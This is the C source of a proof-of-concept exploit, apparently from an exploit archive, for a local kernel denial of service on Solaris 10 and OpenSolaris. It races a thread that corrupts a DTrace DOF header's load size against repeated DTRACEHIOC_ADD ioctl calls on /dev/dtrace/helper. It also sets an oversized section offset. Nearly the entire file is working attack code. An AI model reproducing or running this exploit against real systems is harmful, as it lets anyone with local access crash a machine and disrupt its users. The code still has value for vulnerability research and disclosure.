103 lines
No EOL
2.2 KiB
C
103 lines
No EOL
2.2 KiB
C
/* solaris-dtrace-dos.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Solaris >= 10/Opensolaris local kernel DoS POC
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* by mu-b - Mon 17 Nov 2008
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*
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* - Tested on: Sun Solaris 10 (SPARC)
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* Sun OpenSolaris <= snv_113 (x86)
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <assert.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <string.h>
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#include <unistd.h>
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#include <dtrace.h>
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#define DTRACE_HELPER "/dev/dtrace/helper"
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static unsigned int changes = 0;
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void *
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hammer (void *arg)
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{
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struct dof_hdr *phdr;
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phdr = arg;
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while (1)
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{
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phdr->dofh_loadsz = -1;
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changes++;
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usleep (10);
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}
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}
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int
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main (int argc, char **argv)
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{
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union {
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struct dof_hdr hdr;
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unsigned char buf[256*1024];
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} hdr_t;
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struct dof_hdr *phdr;
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int i, fd, n, tid;
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printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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fd = open (DTRACE_HELPER, O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "failed opening %s\n", DTRACE_HELPER);
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return (EXIT_FAILURE);
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}
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phdr = &hdr_t.hdr;
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memset (phdr, 0, sizeof *phdr);
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memcpy (&phdr->dofh_ident, DOF_MAG_STRING, DOF_MAG_STRLEN);
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phdr->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_LP64;
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phdr->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
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phdr->dofh_ident[DOF_ID_VERSION] = DOF_VERSION_2;
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phdr->dofh_ident[DOF_ID_DIFVERS] = DOF_VERSION_2;
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phdr->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
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phdr->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;
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phdr->dofh_secsize = 1024;
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phdr->dofh_secnum = 1024;
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phdr->dofh_secoff = 0x7fffffffffff0000;
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n = pthread_create (&tid, NULL, hammer, phdr);
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if (n < 0)
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{
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fprintf (stderr, "failed creating hammer thread\n");
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return (EXIT_FAILURE);
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}
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for (i = 0; ; i++)
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{
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phdr->dofh_loadsz = sizeof hdr_t / 2;
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n = ioctl (fd, DTRACEHIOC_ADD, phdr);
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assert (n == -1);
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if (!(i % 64))
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printf ("tried %d-times, %d-changes\r", i, changes);
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}
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/* not reached! */
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2009-05-04]
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